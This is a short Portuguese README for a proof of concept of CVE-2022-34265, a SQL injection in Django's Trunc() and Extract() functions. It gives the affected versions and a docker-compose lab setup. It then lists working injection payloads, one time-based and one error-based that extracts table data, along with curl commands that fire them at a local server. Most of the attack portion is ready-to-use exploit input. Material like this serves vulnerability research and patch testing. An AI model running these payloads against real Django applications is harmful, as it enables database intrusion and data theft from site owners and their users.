
PoC para CVE-2022-34265
PoC para CVE-2022-34265
Foi descoberto um problema no Django 3.2 antes da versão 3.2.14 e no Django 4.0 antes da versão 4.0.6. As funções de banco de dados Trunc() e Extract() estão sujeitas a injeção de SQL se dados não confiáveis forem usados como valor de kind/lookup_name. Aplicações que restringem a escolha do lookup name e do kind a uma lista segura conhecida não são afetadas.
git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d
docker-compose down
Django>= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
YEAR FROM start_time)) ;select sleep(5)--
YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"
PS: No caso de bancos de dados diferentes, a existência de vulnerabilidades é diferente. A vulnerabilidade não existe no backend de banco de dados MYSQL da função
Trunc.